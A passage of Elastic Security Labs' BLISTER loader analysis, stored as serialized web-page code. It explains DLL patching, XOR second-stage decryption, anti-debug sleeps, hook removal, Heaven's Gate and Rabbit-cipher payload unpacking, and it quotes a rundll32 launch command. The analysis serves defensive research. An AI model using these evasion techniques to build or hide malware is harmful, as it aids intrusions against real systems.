[https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch\u0026utm_medium=smk\u0026utm_campaign=0422_Socgholish)\n- [https://redcanary.com/threat-detection-report/threats/socgholish/](https://redcanary.com/threat-detection-report/threats/socgholish/)\n\n## Artifacts\n\nArtifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte5a55b99e66b4794/628e88d91cd65960bcff2862/blister-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n","code":"var Component=(()=\u003e{var c=Object.create;var a=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),b=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},l=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!u.call(t,r)\u0026\u0026r!==n\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(s=g(e,r))||s.enumerable});return t};var w=(t,e,n)=\u003e(n=t!=null?c(m(t)):{},l(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003el(a({},\"__esModule\",{value:!0}),t);var d=f((R,o)=\u003e{o.exports=_jsx_runtime});var S={};b(S,{default:()=\u003eI,frontmatter:()=\u003eL});var i=w(d()),L={title:\"BLISTER Loader\",slug:\"blister-loader\",date:\"2023-04-13\",description:\"The BLISTER loader continues to be actively used to load a variety of malware.\",author:[{slug:\"cyril-francois\"},{slug:\"daniel-stepanic\"},{slug:\"salim-bitam\"}],image:\"blog-thumb-power-lines.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"blister\",\"malware\"]};function h(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",blockquote:\"blockquote\",p:\"p\",a:\"a\",img:\"img\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h3:\"h3\",strong:\"strong\",pre:\"pre\",code:\"code\",h4:\"h4\",em:\"em\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key Takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode\"}),`\n`,(0,i.jsx)(e.li,{children:\"In-depth analysis shows heavy reliance of Windows Native API\\u2019s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis\"}),`\n`,(0,i.jsx)(e.li,{children:\"Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis\"}),`\n`,(0,i.jsx)(e.li,{children:\"40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures\"}),`\n`]}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsx)(e.p,{children:\"For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign\",rel:\"nofollow\",children:\"BLISTER Campaign Analysis\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/blister-configuration-extractor\",rel:\"nofollow\",children:\"BLISTER Configuration Extractor\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"overview\",children:\"Overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The Elastic Security team has continually been monitoring the BLISTER loader since our initial \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign\",rel:\"nofollow\",children:\"release\"}),\" at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image37.jpg\",alt:\"Example of BLISTER loader detection rates\",width:\"1047\",height:\"274\"})}),`\n`,(0,i.jsx)(e.p,{children:\"A distinguishing characteristic of BLISTER\\u2019s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL\\u2019s patched by BLISTER malware:\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Filename\"}),(0,i.jsx)(e.th,{children:\"Description\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"dxgi.dll\"}),(0,i.jsx)(e.td,{children:\"DirectX Graphics Infrastructure\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"WIAAut.DLL\"}),(0,i.jsx)(e.td,{children:\"WIA Automation Layer\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"PowerCPL.DLL\"}),(0,i.jsx)(e.td,{children:\"Power Options Control Panel\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"WIMGAPI.DLL\"}),(0,i.jsx)(e.td,{children:\"Windows Imaging Library\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"rdpencom.dll\"}),(0,i.jsx)(e.td,{children:\"RDPSRAPI COM Objects\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"colorui.dll\"}),(0,i.jsx)(e.td,{children:\"Microsoft Color Control Panel.\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"termmgr.dll\"}),(0,i.jsx)(e.td,{children:\"Microsoft TAPI3 Terminal Manager\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"libcef.dll\"}),(0,i.jsx)(e.td,{children:\"Chromium Embedded Framework (CEF) Dynamic Link Library\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"CEWMDM.DLL\"}),(0,i.jsx)(e.td,{children:\"Windows CE WMDM Service Provider\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"intl.dll\"}),(0,i.jsx)(e.td,{children:\"LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"vidreszr.dll\"}),(0,i.jsx)(e.td,{children:\"Windows Media Resizer\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"sppcommdlg.dll\"}),(0,i.jsx)(e.td,{children:\"Software Licensing UI API\"})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Our research shows that BLISTER is actively developed and has been \",(0,i.jsx)(e.a,{href:\"https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch\u0026utm_medium=smk\u0026utm_campaign=0422_Socgholish\",rel:\"nofollow\",children:\"linked\"}),\" in public reporting to \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit\",rel:\"nofollow\",children:\"LockBit\"}),\" ransomware and the \",(0,i.jsx)(e.a,{href:\"https://redcanary.com/threat-detection-report/threats/socgholish/\",rel:\"nofollow\",children:\"SocGholish\"}),\" framework; in addition, Elastic has also observed BLISTER in relation to the following families: \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey\",rel:\"nofollow\",children:\"Amadey\"}),\", \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat\",rel:\"nofollow\",children:\"BitRAT\"}),\", \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker\",rel:\"nofollow\",children:\"Clipbanker\"}),\", \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike\",rel:\"nofollow\",children:\"Cobalt Strike\"}),\", \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos\",rel:\"nofollow\",children:\"Remcos\"}),\", and \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon\",rel:\"nofollow\",children:\"Raccoon\"}),\" along with others.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader\\u2019s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Consider the following \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2\",rel:\"nofollow\",children:\"sample\"}),\" representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"execution-flow\",children:\"Execution Flow\"}),`\n`,(0,i.jsx)(e.p,{children:\"The execution flow consists of the following phases:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Deciphering the second stage\"}),`\n`,(0,i.jsx)(e.li,{children:\"Retrieving configuration and packed payload\"}),`\n`,(0,i.jsx)(e.li,{children:\"Payload unpacking\"}),`\n`,(0,i.jsx)(e.li,{children:\"Persistence mechanisms\"}),`\n`,(0,i.jsx)(e.li,{children:\"Payload injection\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"launch--entry-point\",children:\"Launch / Entry Point\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/1068e40851b243a420cb203993a020d0ba198e1ec6c4d95f0953f81e13046973/details\",rel:\"nofollow\",children:\"colorui.dll\"}),\" library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function \",(0,i.jsx)(e.strong,{children:\"LaunchColorCpl\"}),\" :\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Rundll32 execution arguments\n\nrundll32.exe \"BLISTER.dll,LaunchColorCpl\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The image below demonstrates how BLISTER\\u2019s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image13.jpg\",alt:\"Export of Patched BLISTER DLL\",width:\"399\",height:\"319\"})}),`\n`,(0,i.jsx)(e.p,{children:\"If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image11.jpg\",alt:\"Export of Original DLL Used by BLISTER\",width:\"553\",height:\"603\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"deciphering-second-stage\",children:\"Deciphering Second Stage\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER\\u2019s second stage is ciphered in its \",(0,i.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-rsrc-section\",rel:\"nofollow\",children:\"resource section\"}),\" (.rsrc).\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The deciphering routine begins with a loop based sleep to evade detection:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image35.jpg\",alt:\"Initial Sleep Mechanism\",width:\"271\",height:\"170\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the \",(0,i.jsx)(e.strong,{children:\"NtProtectVirtualMemory\"}),\" API:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image40.jpg\",alt:\"API Hash\",width:\"372\",height:\"266\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it\\u2019s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image49.jpg\",alt:\"Memory Tag \u0026 Memory Region Setup\",width:\"773\",height:\"261\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"obfuscation\",children:\"Obfuscation\"}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER\\u2019s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks\\u2019 locations. An example of which appears below.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image6.jpg\",alt:\"Function\\u2019s Control Flow Scrambling\",width:\"711\",height:\"619\"})}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image30.jpg\",alt:\"Junk Code Insertion\",width:\"369\",height:\"231\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"retrieving-configuration-and-packed-payload\",children:\"Retrieving Configuration and Packed Payload\"}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER uses the previous stage\\u2019s four-byte key to locate and decipher its configuration.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image24.jpg\",alt:\"Memory pattern search loop\",width:\"486\",height:\"736\"})}),`\n`,(0,i.jsx)(e.p,{children:\"When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image45.jpg\",alt:\"Config decryption\",width:\"372\",height:\"425\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image58.jpg\",alt:\"Pointer return to packed PE\",width:\"476\",height:\"49\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"See the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/blister-loader#configuration-structure\",rel:\"nofollow\",children:\"configuration structure\"}),\" in the appendix.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"time-based-anti-debug\",children:\"Time Based Anti Debug\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After loading the configuration, and depending if the \",(0,i.jsx)(e.strong,{children:\"kEnableSleepBasedAntiDebug\"}),\" flag (0x800) is set, BLISTER calls its time-based anti-debug function:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image60.jpg\",alt:\"Check configuration for Sleep function\",width:\"706\",height:\"17\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image26.jpg\",alt:\"Sleep function (600000 ms / 10 minutes)\",width:\"788\",height:\"240\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The main thread will sleep using \",(0,i.jsx)(e.strong,{children:\"NtDelayExecution\"}),\" until the sleep thread has exited:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image8.jpg\",alt:\"NtDelayExecution used with Sleep function\",width:\"676\",height:\"450\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image57.jpg\",alt:\"Condition to end sleep thread\",width:\"370\",height:\"60\"})}),`\n`,(0,i.jsx)(e.p,{children:\"If not, the function will return 1 and the process will be terminated:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image16.jpg\",alt:\"Process termination on sleep function if error\",width:\"710\",height:\"139\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"windows-api\",children:\"Windows API\"}),`\n`,(0,i.jsx)(e.h4,{id:\"blisters-getmodulehandle\",children:\"Blister\\u2019s GetModuleHandle\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER implements its own \",(0,i.jsx)(e.strong,{children:\"GetModuleHandle\"}),\" to evade detection, the function takes the library name hash as a parameter, iterates over the process \",(0,i.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data\",rel:\"nofollow\",children:\"PEB LDR\"}),\"\\u2019s modules and checks the hashed module\\u2019s name against the one passed in the parameter:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image18.jpg\",alt:\"Function used to verify module names\",width:\"584\",height:\"477\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"blisters-getprocaddress\",children:\"Blister\\u2019s GetProcAddress\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER\\u2019s \",(0,i.jsx)(e.strong,{children:\"GetProcAddress\"}),\" takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The DLL can be loaded or mapped then the function iterates over the DLL\\u2019s export function names and compares their hashes with the ones passed in the parameter:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image3.jpg\",alt:\"BLISTER\\u2019s GetProcAddress hash checking dll\\u2019s exports\",width:\"564\",height:\"226\"})}),`\n`,(0,i.jsx)(e.p,{children:\"If the export is found, and its virtual address isn\\u2019t null, it is returned:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image48.jpg\",alt:\"Return export virtual address\",width:\"813\",height:\"61\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Else the DLL is \",(0,i.jsx)(e.strong,{children:\"LdrLoaded\"}),\" and BLISTER\\u2019s \",(0,i.jsx)(e.strong,{children:\"GetProcAddress\"}),\" is called again with the newly loaded dll:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image19.jpg\",alt:\"LdrLoad the DLL and call GetProcAddress again\",width:\"610\",height:\"46\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"library-manual-mapping\",children:\"Library Manual Mapping\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER manually maps a library using \",(0,i.jsx)(e.strong,{children:\"NtCreateFile\"}),\" in order to open a handle on the DLL file:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image56.jpg\",alt:\"NtCreateFile used within mapping function\",width:\"685\",height:\"34\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Next it creates a section with the handle by calling \",(0,i.jsx)(e.strong,{children:\"NtCreateSection\"}),\" with the \",(0,i.jsx)(e.strong,{children:\"SEC_IMAGE\"}),\" attribute which tells Windows to loads the binary as a PE:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image31.jpg\",alt:\"NtCreateSection used within mapping function\",width:\"705\",height:\"35\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"NtCreateSection used within mapping function\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Finally it maps the section with \",(0,i.jsx)(e.strong,{children:\"NtMapViewOfSection\"}),\" :\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image36.jpg\",alt:\"NtMapViewofSection used within mapping function\",width:\"359\",height:\"167\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"x32x64-ntdll-mapping\",children:\"x32/x64 Ntdll Mapping\"}),`\n`,(0,i.jsx)(e.p,{children:\"Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.\"}),`\n`,(0,i.jsx)(e.p,{children:\"It starts by mapping the x32 version:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image43.jpg\",alt:\"32 bit NTDLL mapping\",width:\"727\",height:\"18\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Then it disables \",(0,i.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector\",rel:\"nofollow\",children:\"SysWOW64 redirection\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image17.jpg\",alt:\"SysWOW64 disabled\",width:\"307\",height:\"37\"})}),`\n`,(0,i.jsx)(e.p,{children:\"And then maps the 64 bit version:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image50.jpg\",alt:\"64 bit NTDLL mapping\",width:\"733\",height:\"45\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Then if available, the mapped libraries will be used with the \",(0,i.jsx)(e.strong,{children:\"GetProcAddress\"}),\" function, i.e:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image7.jpg\",alt:\"Mapped libraries using GetProcAddress\",width:\"780\",height:\"195\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"ldrloading-windows-libraries-and-removing-hooks\",children:\"LdrLoading Windows Libraries and Removing Hooks\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After mapping 32 and 64 bit \",(0,i.jsx)(e.strong,{children:\"NTDLL\"}),\" versions BLISTER will \",(0,i.jsx)(e.strong,{children:\"LdrLoad\"}),\" several Windows libraries and remove potential hooks:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image5.jpg\",alt:\"Function used to load Windows libraries and remove hooks\",width:\"788\",height:\"617\"})}),`\n`,(0,i.jsx)(e.p,{children:\"First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image22.jpg\",alt:\"Hash comparison\",width:\"668\",height:\"240\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"If the hash is found BLISTER uses the \",(0,i.jsx)(e.strong,{children:\"LdrLoad\"}),\" to load the library:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image53.jpg\",alt:\"Leveraging LdrLoad to load DLL\",width:\"580\",height:\"32\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Then BLISTER searches for the corresponding module in its own process:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image15.jpg\",alt:\"Searching for module in own process\",width:\"863\",height:\"109\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"And maps a fresh copy of the library with the module\\u2019s \",(0,i.jsx)(e.strong,{children:\"FullDllName\"}),\" :\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image10.jpg\",alt:\"Retrieving Module\\u2019s FullDllName\",width:\"761\",height:\"60\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image55.jpg\",alt:\"Manual Mapping function\",width:\"665\",height:\"153\"})}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image59.jpg\",alt:\"Performing relocation\",width:\"806\",height:\"186\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Next BLISTER iterates over each section of the loaded library to see if the section is executable:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image42.jpg\",alt:\"Checking executable sections\",width:\"914\",height:\"49\"})}),`\n`,(0,i.jsx)(e.p,{children:\"If the section is executable, it is replaced with the mapped one, thus removing any hooks:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image47.jpg\",alt:\"Section replacement\",width:\"1202\",height:\"108\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"x64-api-call\",children:\"x64 API Call\"}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image29.jpg\",alt:\"BLISTER utilizing 64-bit function library caller\",width:\"770\",height:\"64\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image54.jpg\",alt:\"64-bit function library caller\",width:\"423\",height:\"287\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven\\u2019s Gate \",(0,i.jsx)(e.a,{href:\"https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html\",rel:\"nofollow\",children:\"technique\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image51.jpg\",alt:\"Observed Heaven\\u2019s Gate byte sequences\",width:\"1095\",height:\"98\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image20.jpg\",alt:\"Heaven\\u2019s Gate - Transition to 64 bit mode\",width:\"624\",height:\"445\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image21.jpg\",alt:\"Heaven\\u2019s Gate - Transition to 32 bit mode\",width:\"591\",height:\"160\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"unpacking-payload\",children:\"Unpacking Payload\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During the unpacking process of the payload, the malware starts by allocating memory using \",(0,i.jsx)(e.strong,{children:\"NtAllocateVirtualMemory\"}),\" and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image2.jpg\",alt:\"Unpacking BLISTER payload\",width:\"870\",height:\"226\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"deciphering\",children:\"Deciphering\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER leverages the Rabbit stream \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Rabbit_(cipher)\",rel:\"nofollow\",children:\"cipher\"}),\", passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image1.jpg\",alt:\"Decipher function using the Rabbit cipher\",width:\"687\",height:\"153\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image23.jpg\",alt:\"Observed Rabbit Cipher Key and IV inside 